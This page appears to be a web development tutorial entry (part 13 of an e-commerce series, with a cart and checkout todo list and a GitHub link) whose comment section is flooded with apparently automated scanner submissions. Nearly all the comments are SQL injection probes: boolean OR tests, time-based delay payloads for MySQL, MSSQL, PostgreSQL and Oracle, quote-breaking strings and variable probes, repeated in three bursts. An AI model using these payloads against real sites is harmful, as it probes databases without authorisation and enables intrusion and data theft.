In this part of the e-commerce website tutorial series, we are going to continue implementing the cart functionality.
Part 13 - Todolist
-Show correct products in the cart
-Show total price in the cart
-Show total price in the checkout
-Only allow checkout for authenticated users
-Show user information in the checkout
-Change checkout link in the cart
Github: https://github.com/SteinOveHelset/nordichomes/releases/tag/part-13
EFSArCBy | Jul 02, 26 11:36
555
EFSArCBy | Jul 02, 26 11:37
555
EFSArCBy | Jul 02, 26 11:37
555
EFSArCBy | Jul 02, 26 11:37
-1 OR 2+850-850-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:37
-1 OR 2+506-506-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:37
-1' OR 2+104-104-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:37
-1' OR 2+74-74-1=0+0+0+1 or 'V0UKItkC'='
EFSArCBy | Jul 02, 26 11:37
-1" OR 2+428-428-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:37
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:37
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:37
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:37
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:37
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:37
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:37
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:37
555XFcUfSEU'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:37
555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
555-1) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
555-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
555YZYP6Ngt' OR 606=(SELECT 606 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
5557acEZf2f') OR 162=(SELECT 162 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
555RXYBhNDz')) OR 180=(SELECT 180 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:37
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:37
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:37
555
EFSArCBy | Jul 02, 26 11:37
555'"
EFSArCBy | Jul 02, 26 11:37
@@cIrEC
EFSArCBy | Jul 02, 26 11:37
555
EFSArCBy | Jul 02, 26 11:37
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
-1 OR 2+922-922-1=0+0+0+1 -- | Jul 02, 26 11:38
555
-1 OR 2+554-554-1=0+0+0+1 | Jul 02, 26 11:38
555
-1' OR 2+249-249-1=0+0+0+1 -- | Jul 02, 26 11:38
555
-1' OR 2+759-759-1=0+0+0+1 or 'EaeW15n3'=' | Jul 02, 26 11:38
555
-1" OR 2+179-179-1=0+0+0+1 -- | Jul 02, 26 11:38
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:38
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:38
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:38
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:38
555
EFSArCBygUpI4oLJ'; waitfor delay '0:0:15' -- | Jul 02, 26 11:38
555
EFSArCByzrPkpNTq' OR 539=(SELECT 539 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38
555
EFSArCByKv0jAXCk') OR 536=(SELECT 536 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38
555
EFSArCByJ5qol2zu')) OR 448=(SELECT 448 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy'" | Jul 02, 26 11:38
555
@@ogrug | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 02, 26 11:38
555
EFSArCBy | Jul 21, 26 12:32
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
-1 OR 2+202-202-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:33
-1 OR 2+28-28-1=0+0+0+1
EFSArCBy | Jul 21, 26 12:33
-1' OR 2+870-870-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:33
-1' OR 2+762-762-1=0+0+0+1 or 'EhVJvFd6'='
EFSArCBy | Jul 21, 26 12:33
-1" OR 2+949-949-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:33
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 21, 26 12:33
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 21, 26 12:33
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 21, 26 12:33
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 21, 26 12:33
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:33
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:33
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:33
555ZUoVETMl'; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:33
555-1 OR 347=(SELECT 347 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555-1) OR 594=(SELECT 594 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555-1)) OR 530=(SELECT 530 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555LI0Edd2h' OR 527=(SELECT 527 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555SP2RNEQ5') OR 271=(SELECT 271 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555YpeJ3062')) OR 873=(SELECT 873 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:33
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 21, 26 12:33
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555'"
EFSArCBy | Jul 21, 26 12:33
@@wgNma
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
-1 OR 2+206-206-1=0+0+0+1 -- | Jul 21, 26 12:33
555
-1 OR 2+201-201-1=0+0+0+1 | Jul 21, 26 12:33
555
-1' OR 2+264-264-1=0+0+0+1 -- | Jul 21, 26 12:33
555
-1' OR 2+558-558-1=0+0+0+1 or 'rKlSlDbh'=' | Jul 21, 26 12:33
555
-1" OR 2+377-377-1=0+0+0+1 -- | Jul 21, 26 12:33
555
if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:33
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:33
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:33
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:33
555
EFSArCBydZmd8hau'; waitfor delay '0:0:15' -- | Jul 21, 26 12:33
555
EFSArCByLNkjWYej' OR 499=(SELECT 499 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33
555
EFSArCByknp8i0gQ') OR 560=(SELECT 560 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33
555
EFSArCBy4gu1T5EJ')) OR 317=(SELECT 317 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy'" | Jul 21, 26 12:33
555
@@DRZgw | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 21, 26 12:33
555
EFSArCBy | Jul 23, 26 03:28
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
-1 OR 2+155-155-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:29
-1 OR 2+230-230-1=0+0+0+1
EFSArCBy | Jul 23, 26 03:29
-1' OR 2+327-327-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:29
-1' OR 2+796-796-1=0+0+0+1 or 'usDmbp8G'='
EFSArCBy | Jul 23, 26 03:29
-1" OR 2+82-82-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:29
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 03:29
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 03:29
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 03:29
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 03:29
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:29
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:29
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:29
555vZebFx1s'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:29
555-1 OR 933=(SELECT 933 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555-1) OR 364=(SELECT 364 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555-1)) OR 30=(SELECT 30 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555VRqQNbyY' OR 279=(SELECT 279 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555XKoU91pB') OR 607=(SELECT 607 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555K07g2XsM')) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:29
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 03:29
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555'"
EFSArCBy | Jul 23, 26 03:29
@@pKzHM
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
EFSArCBy | Jul 23, 26 03:29
555
-1 OR 2+835-835-1=0+0+0+1 -- | Jul 23, 26 03:29
555
-1 OR 2+196-196-1=0+0+0+1 | Jul 23, 26 03:29
555
-1' OR 2+405-405-1=0+0+0+1 -- | Jul 23, 26 03:29
555
-1' OR 2+538-538-1=0+0+0+1 or 'DKaB6upB'=' | Jul 23, 26 03:29
555
-1" OR 2+885-885-1=0+0+0+1 -- | Jul 23, 26 03:30
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:30
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:30
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:30
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:30
555
EFSArCBySXKMRmyU'; waitfor delay '0:0:15' -- | Jul 23, 26 03:30
555
EFSArCByHmuaAXyV' OR 347=(SELECT 347 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30
555
EFSArCByCWTxGJVC') OR 560=(SELECT 560 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30
555
EFSArCByF7YyaP8L')) OR 851=(SELECT 851 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy'" | Jul 23, 26 03:30
555
@@eBoAF | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555
EFSArCBy | Jul 23, 26 03:30
555